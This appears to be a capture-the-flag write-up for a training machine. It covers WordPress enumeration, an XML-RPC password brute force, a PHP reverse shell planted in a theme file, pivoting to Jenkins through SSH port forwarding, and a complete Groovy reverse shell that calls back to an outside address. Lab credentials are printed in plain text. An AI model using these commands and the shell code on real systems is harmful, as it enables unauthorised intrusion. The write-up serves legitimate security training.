Service discovery#

1
nmap -sV -sC 10.49.138.178

Findings

• TCP/22 (SSH) open
• TCP/80 (HTTP) open

Content discovery (web)#

1
gobuster dir -u http://10.49.138.178/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Findings

• /blog (WordPress)
• /wp-admin (WordPress admin login)

Enumerate users/plugins (WPScan)#

1
wpscan --url http://internal.thm/blog/ -e ap,u --api-token <REDACTED>

Result

• Discovered user: admin

Password attack (XML-RPC)#

1
wpscan --url http://internal.thm/blog/ --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt -t 78

Credentials obtained

• WordPress: admin / my2boys

Note: Store credentials securely; avoid embedding secrets directly in notes for shared environments.

Method#

1. Log into WordPress admin panel (/wp-admin) using discovered credentials.
2. Navigate to Appearance → Theme Editor.
3. Modify 404.php to include a PHP reverse shell payload.

Listener#

1
rlwrap nc -lvnp 1337

Trigger#

Browse:

• http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Outcome

• Reverse shell obtained on the target.

Enumerate /opt#

1
cd /opt
2
ls
3
cat wp-save.txt

Recovered SSH credentials

• aubreanna / bubb13guM!@#123

SSH in#

1
ssh aubreanna@10.49.138.178

User flag#

1
cat user.txt

Flag

• THM{REDACTED}

Service note#

1
cat jenkins.txt

Finding

• Internal Jenkins service: 172.17.0.2:8080

Port forward Jenkins to local machine#

1
ssh -L 8080:172.17.0.2:8080 aubreanna@10.49.138.178

Then open locally:

• http://127.0.0.1:8080

Brute Force login page using OWASP ZAP#

Reverse shell via Jenkins Script Console#

Prepare listener:

1
rlwrap nc -lvnp 4444

Run in Manage Jenkins → Script Console (Groovy):

1
String host="192.168.161.227";
2
int port=4444;
3
String cmd="/bin/bash";
4
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
5
Socket s=new Socket(host,port);
6
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
7
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
8
while(!s.isClosed()){
9
  while(pi.available()>0) so.write(pi.read());
10
  while(pe.available()>0) so.write(pe.read());
11
  while(si.available()>0) po.write(si.read());
12
  so.flush(); po.flush();
13
  Thread.sleep(50);
14
  try { p.exitValue(); break; } catch (Exception e) {}
15
}
16
p.destroy(); s.close();

Verify context#

1
id

Observed

• uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

Check /opt within Jenkins container context#

1
cd /opt
2
ls
3
cat note.txt

Recovered root credentials

• root / tr0ub13guM!@#123

SSH as root#

1
ssh root@10.49.138.178

Root flag#

1
cat /root/root.txt

Flag

• THM{REDACTED}